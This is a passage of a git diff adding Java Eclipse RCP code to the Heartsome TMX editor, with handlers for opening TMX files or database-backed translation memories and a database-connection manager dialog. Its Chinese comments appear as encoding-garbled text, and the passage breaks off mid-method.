OpenServerDbHander.java + * + * Version information : + * + * Date:2013-6-9 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.opentmx.handler; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.opentmx.ui.TmDbManagerDialog; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.swt.widgets.Display; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class OpenServerDbHander extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + final TmxEditorViewer tmxEditorViewer = TmxEditorViewer.getInstance(); + if (tmxEditorViewer == null) { + OpenMessageUtils.openMessageWithReason(IStatus.ERROR, + Messages.getString("handler.OpenTmxFileHandler.openFileErrorMsg"), + Messages.getString("handler.OpenTmxFileHandler.cantFindEditorViewerMsg")); + return null; + } + + TmDbManagerDialog tmDbManagerDialog = new TmDbManagerDialog(Display.getDefault().getActiveShell()); + tmDbManagerDialog.setDialogUseFor(TmDbManagerDialog.TYPE_DBSELECTED); + tmDbManagerDialog.open(); + final DatabaseModelBean db = tmDbManagerDialog.getDB(); + if (null == db) { + return null; + } + + // 修改当文件打开åŽå…³é—­ä»¥å‰æ‰“开的文件 + if (tmxEditorViewer.getTmxEditor() != null) { + if(!tmxEditorViewer.closeTmx()){ + return null; + } + } + tmxEditorViewer.open(db); + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenTmxFileHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenTmxFileHandler.java new file mode 100644 index 0000000..827873b --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/handler/OpenTmxFileHandler.java @@ -0,0 +1,107 @@ +/** + * OpenTmxFileHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.opentmx.handler; + +import java.io.File; + +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class OpenTmxFileHandler extends AbstractHandler { + public static final Logger LOGGER = LoggerFactory.getLogger(OpenTmxFileHandler.class); + private IWorkbenchWindow window; + + private File tmxfileBrowser() { + FileDialog dlg = new FileDialog(window.getShell(), SWT.SINGLE); + String[] supExtentions = new String[] { "*.tmx" }; + dlg.setFilterExtensions(supExtentions); + String absolutePath = dlg.open(); + if (absolutePath == null) + return null; + return new File(absolutePath); + } + + /** + * éªŒè¯ Tmx æ–‡ä»¶ç¼–ç  + * @param file + * 目标文件 + * @return true 是 UTF-8 ç¼–ç ï¼Œfalse ä¸æ˜¯ UTF-8 + **/ + private boolean validateTmxFileEncoding(File file) { + return FileEncodingDetector.detectFileEncoding(file).equalsIgnoreCase("utf-8"); + } + + /** + * 1. 创建 Container 2. 创建 DataAccess 3. 通过 TmxEditorViewer 打开 DataAccess + * @param file + **/ + public static void open(final File file) { + // TODO 修改当文件打开åŽå…³é—­ä»¥å‰æ‰“开的文件 + final TmxEditorViewer tmxEditorViewer = TmxEditorViewer.getInstance(); + if (tmxEditorViewer == null) { + OpenMessageUtils.openMessageWithReason(IStatus.ERROR, + Messages.getString("handler.OpenTmxFileHandler.openFileErrorMsg"), + Messages.getString("handler.OpenTmxFileHandler.cantFindEditorViewerMsg")); + return; + } + if (tmxEditorViewer.getTmxEditor() != null) { + if(!tmxEditorViewer.closeTmx()){ + return; + } + } + tmxEditorViewer.open(file); + } + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + window = HandlerUtil.getActiveWorkbenchWindow(event); + File f = tmxfileBrowser(); + if (f == null) + return null; + +// if (!validateTmxFileEncoding(f)) { +// if(!OpenMessageUtils.openConfirmMessage(Messages.getString("handler.OpenTmxFileHandler.notUtf8"))){ +// return null; +// } +// EncodingConverterDialog dlg = new EncodingConverterDialog(window.getShell(), f.getAbsolutePath()); +// dlg.open(); +// String path = dlg.getNewFilePath(); +// if(path != null && path.length() != 0){ +// f = new File(path); +// if(!f.exists()){ +// return null; +// } +// } else { +// return null; +// } +// } + open(f); + + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/ui/DBConnecDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/ui/DBConnecDialog.java new file mode 100644 index 0000000..2155e25 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/ui/DBConnecDialog.java @@ -0,0 +1,25 @@ +/** + * DBConnecDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.ui.opentmx.ui; + +import net.heartsome.cat.common.bean.DatabaseModelBean; + + +public class DBConnecDialog { + public DatabaseModelBean getSelectedDb() { + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/ui/TmDbManagerDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/ui/TmDbManagerDialog.java new file mode 100644 index 0000000..1fa544e --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/opentmx/ui/TmDbManagerDialog.java @@ -0,0 +1,1612 @@ +/** + * DatabaseManagerDialog.java + * + * Version information : + * + * Date:Dec 1, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.opentmx.ui; + +import java.io.File; +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean; +import net.heartsome.cat.database.ui.core.DatabaseConfiger; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.ImageConstants; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.databinding.swt.WidgetProperties; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MenuDetectEvent; +import org.eclipse.swt.events.MenuDetectListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.ShellAdapter; +import org.eclipse.swt.events.ShellEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.Sash; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmDbManagerDialog extends TrayDialog { + // The last known tree width + private static int lastTreeWidth = 180; + + private Point lastShellSize; + + /** The tree viewer. */ + private TreeViewer treeViewer; + + private Text hostText; + private Text usernameText; + private Text passwordText; + private Text instanceText; + private Text portText; + private Button searchBtn; + + private TableViewer dbTableViewer; + + private static String currDbType; + private static String lastSelectedServerId; + + /** + * 和界é¢ç›¸å…³çš„输入模型,与界é¢è¾“入组件进行绑定.与会与选择具体的é…ç½®è¿›è¡Œå…³è” + */ + private DatabaseModelBean currServer; + + private Map> treeInputMap; + + private DatabaseConfiger configer; + + private Map dbMetaDataMap; + private Text locationText; + private Button borwserBtn; + private List currServerdbList; + private WritableList currServerdbListInput; + /** + * 用于外部获å–当å‰é€‰ä¸­çš„DatabaseModelBean + */ + private DatabaseModelBean beanForOutUse; + + /** + * tree pop menu + * @see #initTreePopMenu() + */ + private Menu treePopMenu; + + private Logger logger = LoggerFactory.getLogger(TmDbManagerDialog.class); + + private List needUpdateToFile = new ArrayList(); + + private Image internalDbImg = Activator.getImageDescriptor(ImageConstants.INTERNALDB).createImage(); + private Image mySqlImg = Activator.getImageDescriptor(ImageConstants.MYSQL).createImage(); + private Image oracleImg = Activator.getImageDescriptor(ImageConstants.ORACLE).createImage(); + private Image sqlServerImg = Activator.getImageDescriptor(ImageConstants.SQLSERVER).createImage(); + private Image postgreImg = Activator.getImageDescriptor(ImageConstants.POSTGRESQL).createImage(); + private Image ipImg = Activator.getImageDescriptor(ImageConstants.IP).createImage(); + private Image sqliteImg = Activator.getImageDescriptor(ImageConstants.SQLITE).createImage(); + + /** + * Create the dialog. + * @param parentShell + */ + public TmDbManagerDialog(Shell parentShell) { + super(parentShell); + this.currServer = new DatabaseModelBean(); + this.currServerdbList = new ArrayList(); + + this.configer = new DatabaseConfiger(); + this.treeInputMap = configer.getAllServerConfig(); + this.dbMetaDataMap = DatabaseService.getSystemSuportDbMetaData(); + + List dbTypeList = DatabaseService.getSystemSuportDbType(); + for (int i = 0; i < dbTypeList.size(); i++) { + String type = dbTypeList.get(i); + if (treeInputMap.containsKey(type)) { + continue; + } else { + treeInputMap.put(type, new ArrayList()); + } + } + treeInputMap.remove(Constants.DBTYPE_SQLITE); + setHelpAvailable(true); + } + + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + + // TODO need to update help Content + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP è®°å¿†åº“ç®¡ç† + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.te.ui.help/html/{0}/ch04.html#conn_tm_id", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TmDbManagerDialog.title")); + newShell.addShellListener(new ShellAdapter() { + public void shellActivated(ShellEvent e) { + if (lastShellSize == null) { + lastShellSize = getShell().getSize(); + } + } + }); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createContents(final Composite parent) { + Control control = super.createContents(parent); + selectSaveItem(); + return control; + } + + /** + * 选择当å‰é€‰ä¸­çš„内容 ; + */ + private void selectSaveItem() { + if (getCurrDbType() != null) { + boolean expanded = getTreeViewer().getExpandedState(getCurrDbType()); + if (!expanded) { + getTreeViewer().setExpandedState(getCurrDbType(), !expanded); + } + DatabaseModelBean lastSelectItem = findServerBean(getCurrDbType(), getLastSelectedServer()); + if (lastSelectItem != null) { + getTreeViewer().setSelection(new StructuredSelection(lastSelectItem), true); + getTreeViewer().getControl().setFocus(); + } else { + getTreeViewer().setSelection(new StructuredSelection(getCurrDbType()), true); + getTreeViewer().getControl().setFocus(); + } + } + } + + /** + * 查找上次的选中的项 + * @param dbType + * æ•°æ®åº“类型 + * @param id + * æœåŠ¡å™¨ID + * @return ; + */ + private DatabaseModelBean findServerBean(String dbType, String id) { + List list = treeInputMap.get(dbType); + if(list == null){ + return null; + } + for (int i = 0; i < list.size(); i++) { + if (list.get(i).getId().equals(id)) { + return list.get(i); + } + } + return null; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + final Composite composite = (Composite) super.createDialogArea(parent); + GridLayout parentLayout = ((GridLayout) composite.getLayout()); + parentLayout.numColumns = 4; + parentLayout.marginHeight = 0; + parentLayout.marginWidth = 0; + parentLayout.marginTop = 0; + parentLayout.verticalSpacing = 0; + parentLayout.horizontalSpacing = 0; + + Control treeControl = createTreeAreaContents(composite); + createSash(composite, treeControl); + + Label versep = new Label(composite, SWT.SEPARATOR | SWT.VERTICAL); + GridData verGd = new GridData(GridData.FILL_VERTICAL | GridData.GRAB_VERTICAL); + + versep.setLayoutData(verGd); + versep.setLayoutData(new GridData(SWT.LEFT, SWT.FILL, false, true)); + + Composite pageAreaComposite = new Composite(composite, SWT.NONE); + pageAreaComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + GridLayout layout = new GridLayout(1, true); + layout.marginHeight = 0; + layout.marginWidth = 0; + layout.verticalSpacing = 0; + pageAreaComposite.setLayout(layout); + + // Build the Page container + Composite pageContainer = createPageContainer(pageAreaComposite); + GridData pageContainerData = new GridData(GridData.FILL_BOTH); + pageContainerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + pageContainer.setLayoutData(pageContainerData); + // Build the separator line + Label bottomSeparator = new Label(parent, SWT.HORIZONTAL | SWT.SEPARATOR); + bottomSeparator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + return composite; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + if(dialogType == TYPE_DBMANAGE){ + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CLOSE_LABEL, false); + } else { + super.createButtonsForButtonBar(parent); + } + getShell().setDefaultButton(searchBtn); + initDataBindings(); + } + + private int dialogType = 0; // default is DatabaseManager + public static final int TYPE_DBMANAGE = 0; + public static final int TYPE_DBSELECTED = 1; + + /** + * 设置对è¯æ¡†çš„用处,决定了生æˆçš„按钮 + * @param type + * ; + */ + public void setDialogUseFor(int type) { + this.dialogType = type; + } + + public int getDialogUseFor() { + return this.dialogType; + } + + /** + * 创建å³ä¾§é¡µé¢å†…容 + * @param parent + * 页é¢å®¹å™¨ + * @return ; + */ + protected Composite createPageContainer(Composite parent) { + + Composite outer = new Composite(parent, SWT.NONE); + + GridData outerData = new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL); + outerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + + outer.setLayout(new GridLayout()); + outer.setLayoutData(outerData); + + // Create an outer composite for spacing + ScrolledComposite scrolled = new ScrolledComposite(outer, SWT.V_SCROLL | SWT.H_SCROLL); + + // always show the focus control + scrolled.setShowFocusedControl(true); + scrolled.setExpandHorizontal(true); + scrolled.setExpandVertical(true); + + scrolled.setLayoutData(new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL)); + GridLayout gld = new GridLayout(1, false); + gld.marginWidth = 0; + gld.marginHeight = 0; + scrolled.setLayout(gld); + + Composite result = new Composite(scrolled, SWT.NONE); + + GridData resultData = new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL); + result.setLayoutData(resultData); + GridLayout gl_result = new GridLayout(1, false); + gl_result.marginWidth = 0; + gl_result.marginHeight = 0; + result.setLayout(gl_result); + + Group parameterGroup = new Group(result, SWT.NONE); + parameterGroup.setText(Messages.getString("dialog.TmDbManagerDialog.parameterGroup")); + GridLayout parameterLayout = new GridLayout(4, false); + parameterGroup.setLayout(parameterLayout); + + GridData parameterGridData = new GridData(GridData.FILL_HORIZONTAL); + parameterGroup.setLayoutData(parameterGridData); + + Label label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblHost")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + hostText = new Text(parameterGroup, SWT.BORDER); + hostText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblPort")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + portText = new Text(parameterGroup, SWT.BORDER); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblInstance")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + instanceText = new Text(parameterGroup, SWT.BORDER); + instanceText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + new Label(parameterGroup, SWT.NONE); + new Label(parameterGroup, SWT.NONE); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblLocation")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + locationText = new Text(parameterGroup, SWT.BORDER); + locationText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + borwserBtn = new Button(parameterGroup, SWT.NONE); + borwserBtn.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 2, 1)); + borwserBtn.setText(Messages.getString("dialog.TmDbManagerDialog.borwserBtn")); + borwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + DirectoryDialog dlg = new DirectoryDialog(getShell()); + String path = dlg.open(); + if (path != null) { + locationText.setText(path); + } + } + }); + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblUsername")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + usernameText = new Text(parameterGroup, SWT.BORDER); + usernameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblPwd")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + passwordText = new Text(parameterGroup, SWT.BORDER | SWT.PASSWORD); + passwordText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Composite btnComposite = new Composite(parameterGroup, SWT.NONE); + btnComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 4, 1)); + GridLayout btnCompositeLayout = new GridLayout(1, false); + btnCompositeLayout.marginHeight = 0; + btnCompositeLayout.marginWidth = 0; + btnComposite.setLayout(btnCompositeLayout); + + // remenmberBtn = new Button(btnComposite, SWT.CHECK|SWT.BORDER); + // remenmberBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + // remenmberBtn.setText("将本次连接信æ¯æ·»åŠ åˆ°æ•°æ®åº“类型的快æ·è¿žæŽ¥æ–¹å¼(&R)"); + // remenmberBtn.setSelection(true); + + searchBtn = new Button(btnComposite, SWT.NONE); + + searchBtn.setText(Messages.getString("dialog.TmDbManagerDialog.searchBtn")); + searchBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + // 输入åˆæ³•æ€§æ£€æŸ¥ + IStatus status = validator(); + if (status.getSeverity() != IStatus.OK) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TmDbManagerDialog.msgTitle"), status.getMessage()); + return; + } + + SystemDBOperator sysDbOp = getCurrSysDbOp(); + if (sysDbOp == null) { + return; + } + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg1")); + return; + } + + // if (remenmberBtn.getSelection() == true) { + // 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨ + List currDbTypeServers = treeInputMap.get(getCurrDbType()); + if (currServer.getId().equals("")) { + addServerWithExistCheck(currServer, currDbTypeServers); + getTreeViewer().refresh(); + selectSaveItem(); // 在树上选择当å‰æ“作的节点 + } + + // ISelection selection = getTreeViewer().getSelection(); + // if (selection.isEmpty()) { + // return; + // } + // } else { // ä¸è®°ä½ä¿¡æ¯ + executeSearch(sysDbOp); + // } + } + }); + } + }); + + Group tableComposite = new Group(result, SWT.NONE); + tableComposite.setText(Messages.getString("dialog.TmDbManagerDialog.tableComposite")); + tableComposite.setLayout(new GridLayout(1, false)); + tableComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + dbTableViewer = new TableViewer(tableComposite, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE | SWT.H_SCROLL + | SWT.V_SCROLL); + + Table table = dbTableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + GridData tableGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + tableGd.heightHint = 180; + table.setLayoutData(tableGd); + + createColumn(dbTableViewer); + if (getDialogUseFor() == TYPE_DBSELECTED) { + dbTableViewer.addDoubleClickListener(new IDoubleClickListener() { + + public void doubleClick(DoubleClickEvent event) { + okPressed(); + } + }); + } + + dbTableViewer.setContentProvider(new ArrayContentProvider()); + currServerdbListInput = new WritableList(currServerdbList, DatabaseManagerDbListBean.class); + dbTableViewer.setInput(currServerdbListInput); + + Composite composite = new Composite(tableComposite, SWT.NONE); + GridLayout gl_composite = new GridLayout(3, false); + gl_composite.marginHeight = 0; + gl_composite.marginWidth = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + + + searchBtn.getLayoutData(); + GridData searchData = new GridData(SWT.RIGHT, SWT.CENTER, true, true, 4, 1); + searchBtn.setLayoutData(searchData); + + scrolled.setContent(result); + scrolled.setMinSize(getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT)); + return result; + } + + /** + * 创建左侧树 + * @param parent + * the SWT parent for the tree area controls. + * @return the new Control. + */ + protected Control createTreeAreaContents(Composite parent) { + // Build the tree an put it into the composite. + treeViewer = createTreeViewer(parent); + treeViewer.setInput(treeInputMap); + updateTreeFont(JFaceResources.getDialogFont()); + layoutTreeAreaControl(treeViewer.getControl()); + initTreePopMenu(); + return treeViewer.getControl(); + } + + /** + * åˆå§‹åŒ–æ ‘å³é”®èœå• ; + */ + private void initTreePopMenu() { + MenuManager menuManager = new MenuManager(""); + menuManager.add(new Action(Messages.getString("dialog.TmDbManagerDialog.deleteAction")) { + @Override + public void run() { + ISelection selection = getTreeViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof DatabaseModelBean) { + List currDbTypeServers = treeInputMap.get(currDbType); + configer.deleteServerById(((DatabaseModelBean) obj).getId()); + int i = currDbTypeServers.indexOf(obj); + currDbTypeServers.remove(i); + getTreeViewer().refresh(); + // selectSaveItem(); + // 